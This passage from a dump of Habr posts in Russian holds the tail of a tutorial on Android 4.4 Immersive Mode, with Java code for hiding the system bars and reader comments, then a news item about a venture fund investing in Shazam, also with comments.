1 : 0) .translationY(visible ? 0 : controlsView.getHeight()); } }); </code></pre><br/> Если при запуске приложения вы хотите показать пользователю, что у приложения есть панели, а потом их скрыть через некоторое время, это тоже довольно просто делается.<br/> <br/> <pre><code class="java"> private static final int INITIAL_HIDE_DELAY = 300; @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); delayedHide(INITIAL_HIDE_DELAY); } private final Handler mHideHandler = new Handler() { @Override public void handleMessage(Message msg) { hideSystemUI(); } }; private void delayedHide(int delayMillis) { mHideHandler.removeMessages(0); mHideHandler.sendEmptyMessageDelayed(0, delayMillis); } </code></pre><br/> Также иногда может потребоваться показывать панель, когда окно получает фокус, например, после возвращения из вызванного диалога. Такой вариант можно обработать следующим кодом.<br/> <br/> <pre><code class="java"> @Override public void onWindowFocusChanged(boolean hasFocus) { super.onWindowFocusChanged(hasFocus); if (hasFocus) { delayedHide(INITIAL_HIDE_DELAY); } else { mHideHandler.removeMessages(0); } } </code></pre><br/> В этом случае панель покажется и потом исчезнет через заданное вами время.<br/> <br/> <h4>Immersive Mode Sticky</h4><br/> Для установки sticky-режима используется флаг <a href="https://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_IMMERSIVE_STICKY">SYSTEM_UI_FLAG_IMMERSIVE_STICKY</a> в качестве параметра метода <a href="https://developer.android.com/reference/android/view/View.html#setSystemUiVisibility(int)">setSystemUiVisibility()</a>.<br/> <br/> Этот режим чрезвычайно прост. Если вам необходима ситуация, при которой системные панели будут скрываться, когда окно получает фокус или проходит некоторое время после появлении панелей, то этот режим для вас. Для включения этого режима вам необходимо установить для окна, когда оно находится в фокусе, флаг <a href="https://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_IMMERSIVE_STICKY">SYSTEM_UI_FLAG_IMMERSIVE_STICKY</a>. В этом режиме, если окно теряет фокус, оно автоматически сбрасывается до состояния, в котором окно было до установки флага <a href="https://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_IMMERSIVE_STICKY">SYSTEM_UI_FLAG_IMMERSIVE_STICKY</a>, то есть со всеми панелями. Как только окно получает фокус, панели опять исчезают через некоторое время и вам нет нужды программировать эту ситуацию вручную. Чтобы показать системные панели надо также, как и в обычном режиме, сделать свайп от краев экрана. Включение stick-режима делается простым куском кода.<br/> <br/> <pre><code class="java"> @Override public void onWindowFocusChanged(boolean hasFocus) { super.onWindowFocusChanged(hasFocus); if (hasFocus) { mDecorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY); } } </code></pre><br/> <br/> P.S. В статьи использовались материалы <a href="http://www.youtube.com/watch?v=cBi8fjv90E4">видео от Roman Nurik</a>. Код полных примеров от Романа по использованию этого режима можно скачать <a href="http://developer.android.com/shareables/devbytes/ImmersiveMode.zip">тут</a>.<br/> <br/> P.P.S. 20 ноября появилась новая <a href="http://developer.android.com/training/system-ui/immersive.html">статья</a> в Training Kit по этому режиму. Постараюсь дополнить статью в ближайшее время с учетом и ее.</div>
Максим Юдин (tum0rc0re)
null
null
31 октября 2013 года Google представили новую версию ОС Android 4.4 KitKat, в которой появилось очень много интересных функций для разработчиков. Одна из этих функций — <b>Immersive Mode</b> (режим погружения). Режим погружения — это режим, в котором ваша программа показывается пользователю на весь экран, при этом не видны любые системные панели, в том числе и панель навигации (та, что с кнопкой Back). До Android 4.4 была также возможность скрывать системные панели (<a href="http://developer.android.com/training/system-ui/navigation.html">панель навигации</a> и <a href="http://developer.android.com/training/system-ui/status.html">панель статуса</a>). Но в существующем варианте был один недостаток — пользователь не мог полностью погрузится в контент, так как любое нажатие на контент снова вызывало отображение системных панелей. Новый режим погружения добавляет еще один способ взаимодействия с отображением системных панелей. В этом режиме, чтобы отобразить системные панели пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана, при этом отображение панелей по нажатию на контент делать необязательно, тем самым можно создавать приложения и игры, в которых пользователь может полноценно взаимодействовать с приложением или игрой любыми жестами. Чтобы пользователь понял, как вызвать системные панели из полноэкранного режима, при первом запуске приложения ему автоматически покажется системное сообщение о том, как снова отобразить эти панели на экране.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png" alt="image"/> <img src="https://habrastorage.org/getpro/habr/post_images/15a/f16/fa9/15af16fa9fe50a0216e92736d4c92896.png" alt="image"/>
31 октября 2013 года Google представили новую версию ОС Android 4.4 KitKat, в которой появилось очень много интересных функций для разработчиков. Одна из этих функций — Immersive Mode (режим погружения). Режим погружения — это режим, в котором ваша программа показывается пользователю на весь экран, при этом не видны любые системные панели, в том числе и панель навигации (та, что с кнопкой Back). До Android 4.4 была также возможность скрывать системные панели (панель навигации и панель статуса). Но в существующем варианте был один недостаток — пользователь не мог полностью погрузится в контент, так как любое нажатие на контент снова вызывало отображение системных панелей. Новый режим погружения добавляет еще один способ взаимодействия с отображением системных панелей. В этом режиме, чтобы отобразить системные панели пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана, при этом отображение панелей по нажатию на контент делать необязательно, тем самым можно создавать приложения и игры, в которых пользователь может полноценно взаимодействовать с приложением или игрой любыми жестами. Чтобы пользователь понял, как вызвать системные панели из полноэкранного режима, при первом запуске приложения ему автоматически покажется системное сообщение о том, как снова отобразить эти панели на экране.
article
1,383,650,695
{ "commentsCount": 35, "favoritesCount": 78, "readingCount": 63384, "score": 35, "votesCount": 37, "votesCountPlus": 36, "votesCountMinus": 1 }
[ "sandbox" ]
[ "android_dev" ]
[ "develop" ]
[ "android development", "kitkat", "immersive mode" ]
6
tutorial
null
{ "id": [ 6942224, 6942248, 6942260, 6942270, 6942490, 6942510, 6942540, 6942572, 6942598, 6942628, 6942634, 6942812, 6942888, 6943064, 6943170, 6943240, 6943258, 6943262, 6943268, 6943568, 6943594, 6943596, 6943606, 6943618, 6943622, 6943624, 6943636, 6943736, 6944562, 6944682, 6944684, 6947694, 6948090, 6996248, 7003602 ], "parent_id": [ null, 6942224, 6942248, 6942260, null, 6942490, null, 6942540, 6942572, 6942598, 6942572, null, 6942812, null, 6942510, null, 6943170, 6943064, 6943240, 6943268, null, 6943262, null, 6943568, 6943594, 6943606, 6943618, null, 6943736, 6943240, null, null, 6947694, 6942888, null ], "level": [ 0, 1, 2, 3, 0, 1, 0, 1, 2, 3, 2, 0, 1, 0, 2, 0, 3, 1, 1, 2, 0, 2, 0, 3, 1, 1, 4, 0, 1, 1, 0, 0, 1, 2, 0 ], "time_published": [ 1383651393, 1383651560, 1383651640, 1383651724, 1383654380, 1383654767, 1383655009, 1383655454, 1383655761, 1383656147, 1383656236, 1383658139, 1383659221, 1383661612, 1383663105, 1383664409, 1383664821, 1383664865, 1383664945, 1383669789, 1383670195, 1383670200, 1383670374, 1383670467, 1383670544, 1383670588, 1383670832, 1383672959, 1383703654, 1383712580, 1383712620, 1383756797, 1383761981, 1384801056, 1384921576 ], "score": [ -7, 4, 1, 6, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 9, 4, 1, 6, 1, 0, 0, 1, 0, 0, 0, 0, 1, 2, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за пост. Надо попробовать реализовать в Robird</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаешь twitter-клиент подходит, как use-case для immersive mode? Я правда в твиттере мало пишу, неужели там нужно полное погружение в твиты? :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как посмотреть. С одной стороны все таки читалка твитов. Может как опцию сделать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот как опцию вполне можно, но точно не по умолчанию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В CyanogenMod есть аналогичная опция «расширенный экран». Можно включить её через меню, при зажатии кнопки выключения, и работает она на всю операционную систему, не только на приложение.<br/>\r\nИ это 1 из немногих фич которых не хватает в заводской прошивке.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну вы же понимаете, что не у всех есть CM. И при этом неизвестно, как приложение будет реагировать на этот режим, не зная о нем. А как в CM происходит возврат в обычный режим с панелями?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Из описания так и не понял, а чем принципиально отличается это от старого режима «включить опции NoTitleBar + FullScreen»? Методом выхода из него?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько я понял, это для телефонов и планшетов, в которых нет хардварных сенсорных кнопок. Вместо этого они постоянно отображаются внизу экрана.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И для них ещё в 4.2 (или ниже, могу путать) нижнюю панель можно самостоятельно спрятать кнопкой «спрятать панель», вылезает наружу жестом «провести пальцем вдоль стороны, где должна быть панель». Хотя не отрицаю, возможно это фишка китайской прошивки была.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скорей всего это было в китайской прошивке :) Такая функция на сколько я помню была только в YouTube и то там использовался режим Loan Back — это когда панелька появляется только при нажатии на контент (проигрываемое видео). Этот режим приносит этот функционал во все приложения, добавляя к этому дополнительный способ отображения системных панелей от края экрана.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>при первом запуске приложения пользователю автоматически покажется системное сообщение о том, как использовать приложение в полноэкранном режиме.</blockquote><br/>\r\nА как показать подсказку при втором запуске и т.д.?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если честно, не знаю :) Попробую найти это в доках. Если найдете раньше, пишите.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Эта фича (с таскбаром) неизвестно с каких времён имеется в MIUI. И только сейчас она появляется в основном Android.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возврат происходит аналогично переходу в режим — зажимаем хардварную кнопку включения и выбираем пункт «скрыть расширенный режим».<br/>\r\nЯ тестировал этот режим, он работает нормально со всеми приложениями. По факту — он прячет(или выключает) эту панельку для всей ОС, что-то наподобии display:none в css.<br/>\r\nИ когда она скрыта — можно провести пальцем от торца(любого) по направлению к середине экрана — всплывут программно продублированные кнопки(назад, домой, список приложений)<br/>\r\n<br/>\r\nпример кнопки(Expanded desktop)<br/>\r\n<a href=\"http://cdn.androidpolice.com/wp-content/uploads/2012/10/nexusae0_Screenshot_2012-10-29-11-16-22.png\">cdn.androidpolice.com/wp-content/uploads/2012/10/nexusae0_Screenshot_2012-10-29-11-16-22.png</a><br/>\r\n<br/>\r\nпример кнопок(назад, домой...)<br/>\r\n<a href=\"http://cdn.androidcommunity.com/wp-content/uploads/2013/03/Screen-Shot-2013-03-27-at-2.19.24-PM-540x464.png\">cdn.androidcommunity.com/wp-content/uploads/2013/03/Screen-Shot-2013-03-27-at-2.19.24-PM-540x464.png</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На нексусе 4 в андроиде 4.3 прекрасно делается fullscreen режим, когда прячутся панели. Появляются они автоматически при любом тапе. <br/>\r\nЯ пока не разобрался, в чем принципиальное отличие, кроме как способа «вернуть» панели назад.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Клева, но все равно CM не у всех стоит :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно, команда Android оттуда эту фичю и позаимствовала, но большинство пользователей не умеют ставить кастомные прошивки :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как вы скрываете панели в этом случае? Насколько я помню там можно было только затемнять панель навигации и там появлялись 3 полупрозрачные точки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот так: <a href=\"http://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_HIDE_NAVIGATION\">http://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_HIDE_NAVIGATION</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>команда Android для этого придумала простое решение, пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана</i><br/>\r\n<br/>\r\nЧего-чего команда Android сделала? «Придумала»? Надо же, а я эту фичу видел 3 года назад, когда впервые был представлен BlackBerry PlayBook, да и сейчас ежедневно использую на своем BlackBerry Z10 :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нужно резет сделать устройству ;). Для не очень соблазнительных наверняка будет галочка «больше не показывать»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Свайпы от краёв неудобны при использовании многих чехлов.<br/>\r\nНапример у меня, даже разворачивание шторок превращется в этакое выковыривание из-под края чехла.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, действительно, что-то подобное было, даже урок есть по этому <a href=\"https://developer.android.com/training/system-ui/navigation.html\">developer.android.com/training/system-ui/navigation.html</a>. Но в этом подходе, при любом нажатии на контент панели снова появляются. В новом же режиме этой ситуации можно избежать за счет свайпа с краев, а нажатий на контент можно не обрабатывать, например для игр.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Исправил :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно, чехлы не использую, не пробовал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, именно об этом <a href=\"http://habrahabr.ru/users/zeliret/\" class=\"user_link\">Zeliret</a> и говорил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Наконец-то. Учитывая соотношение сторон у того же Nexus 7, в альбомной ориентации почти невозможно комфортно пользоваться. Верхняя панель + кнопки ОС занимают очень много полезного места.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да для Nexus 7 это актуально :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Изменил статью, в соответствии с вашим замечаниями :) Действительно, immersive mode добавляет просто еще один способ взаимодействия с системными панелями из полноэкранного режима</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Немного поменял статью в соответствии с теми комментариями, что были написаны. Спасибо вам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мешаться эта фича будет, много полезных приложений используют свайпы от краёв — и свайпы с боков, как в популярном Pie, и свайпы снизу, как в этом <a href=\"https://play.google.com/store/apps/details?id=com.t_igra.swipelock.free\">приложении</a>, например.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну если будет мешаться, тогда и не надо использовать. Ее же Google не навязывает, если нужна такая функциональность используй, если нет, делай все как раньше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нашел в доках для отладки<br/>\r\nNote: If you want to force the reminder bubble to appear for testing purposes, you can do so by putting the app in immersive mode, turning off the screen with the power button, and then turning the screen back on again within 5 seconds.<br/>\r\n<a href=\"http://developer.android.com/intl/ru/training/system-ui/immersive.html\">developer.android.com/intl/ru/training/system-ui/immersive.html</a><br/>\r\n<br/>\r\nНа эмуляторе сработало.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">P.P.S. 20 ноября появилась новая <a href=\"http://developer.android.com/training/system-ui/immersive.html\">статья</a> в Training Kit по этому режиму. Постараюсь дополнить статью в ближайшее время с учетом и ее.</div>" ], "message_markdown": [ "Спасибо за пост. Надо попробовать реализовать в Robird", "Думаешь twitter-клиент подходит, как use-case для immersive mode? Я правда в твиттере мало пишу, неужели там нужно полное погружение в твиты? :)", "Как посмотреть. С одной стороны все таки читалка твитов. Может как опцию сделать.", "Вот как опцию вполне можно, но точно не по умолчанию.", "В CyanogenMod есть аналогичная опция «расширенный экран». Можно включить её через меню, при зажатии кнопки выключения, и работает она на всю операционную систему, не только на приложение.\nИ это 1 из немногих фич которых не хватает в заводской прошивке.", "Ну вы же понимаете, что не у всех есть CM. И при этом неизвестно, как приложение будет реагировать на этот режим, не зная о нем. А как в CM происходит возврат в обычный режим с панелями?", "Из описания так и не понял, а чем принципиально отличается это от старого режима «включить опции NoTitleBar + FullScreen»? Методом выхода из него?", "Насколько я понял, это для телефонов и планшетов, в которых нет хардварных сенсорных кнопок. Вместо этого они постоянно отображаются внизу экрана.", "И для них ещё в 4.2 (или ниже, могу путать) нижнюю панель можно самостоятельно спрятать кнопкой «спрятать панель», вылезает наружу жестом «провести пальцем вдоль стороны, где должна быть панель». Хотя не отрицаю, возможно это фишка китайской прошивки была.", "Скорей всего это было в китайской прошивке :) Такая функция на сколько я помню была только в YouTube и то там использовался режим Loan Back — это когда панелька появляется только при нажатии на контент (проигрываемое видео). Этот режим приносит этот функционал во все приложения, добавляя к этому дополнительный способ отображения системных панелей от края экрана.", "Точно :)", "> при первом запуске приложения пользователю автоматически покажется системное сообщение о том, как использовать приложение в полноэкранном режиме.\nА как показать подсказку при втором запуске и т.д.?", "Если честно, не знаю :) Попробую найти это в доках. Если найдете раньше, пишите.", "Эта фича (с таскбаром) неизвестно с каких времён имеется в MIUI. И только сейчас она появляется в основном Android.", "Возврат происходит аналогично переходу в режим — зажимаем хардварную кнопку включения и выбираем пункт «скрыть расширенный режим».\nЯ тестировал этот режим, он работает нормально со всеми приложениями. По факту — он прячет(или выключает) эту панельку для всей ОС, что-то наподобии display:none в css.\nИ когда она скрыта — можно провести пальцем от торца(любого) по направлению к середине экрана — всплывут программно продублированные кнопки(назад, домой, список приложений)\nпример кнопки(Expanded desktop)\ncdn.androidpolice.com/wp-content/uploads/2012/10/nexusae0_Screenshot_2012-10-29-11-16-22.png\nпример кнопок(назад, домой...)\ncdn.androidcommunity.com/wp-content/uploads/2013/03/Screen-Shot-2013-03-27-at-2.19.24-PM-540x464.png", "На нексусе 4 в андроиде 4.3 прекрасно делается fullscreen режим, когда прячутся панели. Появляются они автоматически при любом тапе.\nЯ пока не разобрался, в чем принципиальное отличие, кроме как способа «вернуть» панели назад.", "Клева, но все равно CM не у всех стоит :)", "Возможно, команда Android оттуда эту фичю и позаимствовала, но большинство пользователей не умеют ставить кастомные прошивки :)", "Как вы скрываете панели в этом случае? Насколько я помню там можно было только затемнять панель навигации и там появлялись 3 полупрозрачные точки.", "Вот так: http://developer.android.com/reference/android/view/View.html#SYSTEM_UI_FLAG_HIDE_NAVIGATION", ">команда Android для этого придумала простое решение, пользователю достаточно сделать свайп от верхнего или нижнего края экрана по направлению к центру экрана\nЧего-чего команда Android сделала? «Придумала»? Надо же, а я эту фичу видел 3 года назад, когда впервые был представлен BlackBerry PlayBook, да и сейчас ежедневно использую на своем BlackBerry Z10 :)", "Нужно резет сделать устройству ;). Для не очень соблазнительных наверняка будет галочка «больше не показывать»", "Свайпы от краёв неудобны при использовании многих чехлов.\nНапример у меня, даже разворачивание шторок превращется в этакое выковыривание из-под края чехла.", "Да, действительно, что-то подобное было, даже урок есть по этому developer.android.com/training/system-ui/navigation.html. Но в этом подходе, при любом нажатии на контент панели снова появляются. В новом же режиме этой ситуации можно избежать за счет свайпа с краев, а нажатий на контент можно не обрабатывать, например для игр.", "Исправил :)", "Возможно, чехлы не использую, не пробовал.", "Да, именно об этом Zeliret и говорил.", "Наконец-то. Учитывая соотношение сторон у того же Nexus 7, в альбомной ориентации почти невозможно комфортно пользоваться. Верхняя панель + кнопки ОС занимают очень много полезного места.", "Да для Nexus 7 это актуально :)", "Изменил статью, в соответствии с вашим замечаниями :) Действительно, immersive mode добавляет просто еще один способ взаимодействия с системными панелями из полноэкранного режима", "Немного поменял статью в соответствии с теми комментариями, что были написаны. Спасибо вам.", "Мешаться эта фича будет, много полезных приложений используют свайпы от краёв — и свайпы с боков, как в популярном Pie, и свайпы снизу, как в этом приложении, например.", "Ну если будет мешаться, тогда и не надо использовать. Ее же Google не навязывает, если нужна такая функциональность используй, если нет, делай все как раньше.", "Нашел в доках для отладки\nNote: If you want to force the reminder bubble to appear for testing purposes, you can do so by putting the app in immersive mode, turning off the screen with the power button, and then turning the screen back on again within 5 seconds.\ndeveloper.android.com/intl/ru/training/system-ui/immersive.html\nНа эмуляторе сработало.", "P.P.S. 20 ноября появилась новая статья в Training Kit по этому режиму. Постараюсь дополнить статью в ближайшее время с учетом и ее." ], "author": [ "Majid Jabrayilov (Mecid)", "Максим Юдин (tum0rc0re)", "Majid Jabrayilov (Mecid)", "Максим Юдин (tum0rc0re)", "Nowhere Lab (NLab)", "Максим Юдин (tum0rc0re)", "Дмитрий (Newbilius)", "Lungo (Lungo)", "Дмитрий (Newbilius)", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Александр Климов (tehnolog)", "Максим Юдин (tum0rc0re)", "bakatrouble (bakatrouble)", "Nowhere Lab (NLab)", "Zeliret", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Кирилл Микос (mik_os)", "Mezomish", "scramble (scramble)", "Oldron", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Кирилл Микос (mik_os)", "Роман (playerone)", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Максим Юдин (tum0rc0re)", "Алексей (VDG)", "Максим Юдин (tum0rc0re)", "Александр Климов (tehnolog)", "Максим Юдин (tum0rc0re)" ], "children": [ [ 6942248 ], [ 6942260 ], [ 6942270 ], [], [ 6942510 ], [ 6943170 ], [ 6942572 ], [ 6942598, 6942634 ], [ 6942628 ], [], [], [ 6942888 ], [ 6996248 ], [ 6943262 ], [ 6943258 ], [ 6943268, 6944682 ], [], [ 6943596 ], [ 6943568 ], [ 6943618 ], [ 6943622 ], [], [ 6943624 ], [ 6943636 ], [], [], [], [ 6944562 ], [], [], [], [ 6948090 ], [], [], [] ] }
286,156
ru
https://habr.com/ru/post/286156/
Российский венчурный фонд вложил 8,5 миллионов долларов в музыкальный сервис Shazam
Shazam в ходе восьмого раунда инвестиций в январе получил тридцать миллионов долларов. По итогам раунда инвесторы оценили музыкальный сервис в один миллиард, а общая сумма инвестиций составила сто семьдесят миллионов долларов. Компания Shazam основана в 1999 году. Сервис узнает песню и выдает информацию о ней. Число активных пользователей сервиса составляет сто десять миллионов человек, а среди его конкурентов называют Spotify, Pandora, Amazon.com. Сервис зарабатывает на комиссионных отчислениях от продаж музыки. В ходе восьмого раунда инвестиций 21 января 2015 года в компанию вложили тридцать миллионов долларов. Из них восемь с половиной досталось Shazam от венчурного фонда Buran Venture Capital, инвесторами которого выступают Михаиль Винчель и Григорий Фингер — сооснователи Mail.ru Group — и 01 Group Бориса Минца. Председатель совета директоров Shazam Эндрю Фишер отметил, что сотрудничество с Buran VC поможет компании сориентироваться на нескольких ключевых рынках. Партнер фонда Александр Коноплястый отметил, что Shazam «могут пригодиться» связи инвесторов с Mail.ru и соцсетью «Вконтакте». Венчурный фонд рассчитывает на доходность более пятидесяти процентов годовых. Компания пока не входит в пятерку самых дорогих стартапов, но входит в число семидесяти трех стартапов, которые инвесторы оценивают в миллиард долларов и более. После привлечения по итогам восьми раундов ста семидесяти миллионов долларов Shazam оценили в один миллиард.
<div xmlns="http://www.w3.org/1999/xhtml">Shazam в ходе восьмого раунда инвестиций в январе получил тридцать миллионов долларов. По итогам раунда инвесторы оценили музыкальный сервис в<a href="http://www.wsj.com/articles/music-discovery-company-shazam-valued-at-around-1-billion-1421780459"> один миллиард</a>, а общая сумма инвестиций составила сто семьдесят миллионов долларов. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/megamozg/post_images/6cc/f26/9b2/6ccf269b2706d32af36b692e89e81fad.jpg" width="600" alt="image" data-src="https://habrastorage.org/getpro/megamozg/post_images/6cc/f26/9b2/6ccf269b2706d32af36b692e89e81fad.jpg" data-blurred="true"/><br/> <a name="habracut"></a><br/> Компания Shazam основана в 1999 году. Сервис узнает песню и выдает информацию о ней. Число активных пользователей сервиса составляет сто десять миллионов человек, а среди его конкурентов называют Spotify, Pandora, Amazon.com. Сервис зарабатывает на комиссионных отчислениях от продаж музыки. <br/> <br/> В ходе восьмого раунда инвестиций 21 января 2015 года в компанию вложили тридцать миллионов долларов. Из них <a href="http://top.rbc.ru/technology_and_media/24/02/2015/54e995d19a79471762281c25">восемь с половиной</a> досталось Shazam от венчурного фонда Buran Venture Capital, инвесторами которого выступают Михаиль Винчель и Григорий Фингер — сооснователи Mail.ru Group — и 01 Group Бориса Минца. Председатель совета директоров Shazam Эндрю Фишер отметил, что сотрудничество с Buran VC поможет компании сориентироваться на нескольких ключевых рынках. Партнер фонда Александр Коноплястый отметил, что Shazam «могут пригодиться» связи инвесторов с Mail.ru и соцсетью «Вконтакте». <br/> <br/> Венчурный фонд рассчитывает на доходность более пятидесяти процентов годовых. <br/> <br/> Компания пока не входит в <a href="http://megamozg.ru/post/10654/">пятерку</a> самых дорогих стартапов, но входит в число <a href="http://graphics.wsj.com/billion-dollar-club/?co=Shazam">семидесяти трех стартапов</a>, которые инвесторы оценивают в миллиард долларов и более. После привлечения по итогам восьми раундов ста семидесяти миллионов долларов <a href="http://news.shazam.com/pressreleases/shazam-announces-30-million-investment-at-1-billion-valuation-1107744">Shazam оценили в один миллиард</a>.</div>
Иван Сычев (ivansychev)
null
null
Shazam в ходе восьмого раунда инвестиций в январе получил тридцать миллионов долларов. По итогам раунда инвесторы оценили музыкальный сервис в<a href="http://www.wsj.com/articles/music-discovery-company-shazam-valued-at-around-1-billion-1421780459"> один миллиард</a>, а общая сумма инвестиций составила сто семьдесят миллионов долларов. <br/> <br/> <img src="https://habrastorage.org/getpro/megamozg/post_images/6cc/f26/9b2/6ccf269b2706d32af36b692e89e81fad.jpg" width="600" alt="image"/><br/>
Shazam в ходе восьмого раунда инвестиций в январе получил тридцать миллионов долларов. По итогам раунда инвесторы оценили музыкальный сервис в один миллиард, а общая сумма инвестиций составила сто семьдесят миллионов долларов.
article
1,424,796,910
{ "commentsCount": 8, "favoritesCount": 4, "readingCount": 3256, "score": 7, "votesCount": 9, "votesCountPlus": 8, "votesCountMinus": 1 }
[]
[ "web_monetization" ]
[ "marketing" ]
[ "shazam", "венчурные инвестиции", "инвесторы", "венчурные фонды" ]
1
null
null
{ "id": [ 9473086, 9473088, 9473090, 9473092, 9473094, 9473096, 9473098, 9473100 ], "parent_id": [ null, null, 9473088, 9473090, null, null, 9473096, 9473098 ], "level": [ 0, 0, 1, 2, 0, 0, 1, 2 ], "time_published": [ 1424803480, 1424812183, 1424818906, 1424822805, 1424899716, 1424902664, 1424933601, 1424941583 ], "score": [ 0, 1, 3, 0, 0, 0, 0, 0 ], "votes": [ 0, 1, 3, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Фингер и Винчель</blockquote><br/>\r\n<img src=\"https://habrastorage.org/getpro/megamozg/comment_images/7b4/132/7ea/7b41327ea28982727188682d45e444e0.gif\" data-src=\"https://habrastorage.org/getpro/megamozg/comment_images/7b4/132/7ea/7b41327ea28982727188682d45e444e0.gif\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А тем временем в России дороги не везде еще асфальтированы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Зато Шазам теперь без труда сможет распознать песни Стаса Михайлова.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Несомненно!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно планируют добавить в обучаемую базу музыку из ВК, что так же значительно снизило бы количество дублей в ВК.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если компания основана в 1990 году, корректно ли называть её «стартапом»?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://www.shazam.com/company\">www.shazam.com/company</a> здесь хронология ведется с 2002.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В самой статье изначально было написано про 1990 год. Сейчас это исправлено на 1999. Шестнадцать лет — это всё равно, на мой взгляд, многовато, чтобы называть компанию «стартапом».</div>" ], "message_markdown": [ "> Фингер и Винчель", "А тем временем в России дороги не везде еще асфальтированы.", "Зато Шазам теперь без труда сможет распознать песни Стаса Михайлова.", "Несомненно!", "Возможно планируют добавить в обучаемую базу музыку из ВК, что так же значительно снизило бы количество дублей в ВК.", "Если компания основана в 1990 году, корректно ли называть её «стартапом»?", "www.shazam.com/company здесь хронология ведется с 2002.", "В самой статье изначально было написано про 1990 год. Сейчас это исправлено на 1999. Шестнадцать лет — это всё равно, на мой взгляд, многовато, чтобы называть компанию «стартапом»." ], "author": [ "Renat Nasyrov (pehat)", "osj", "Serhio Magpie (SerDIDG)", "osj", "DjOnline (DjOnline)", "Ivan Potapov (ingumsky)", "Alex Shapelez (Shapelez)", "Ivan Potapov (ingumsky)" ], "children": [ [], [ 9473090 ], [ 9473092 ], [], [], [ 9473098 ], [ 9473100 ], [] ] }
406,821
ru
https://habr.com/ru/post/406821/
Делаем из бумаги бумагу с Epson PaperLab
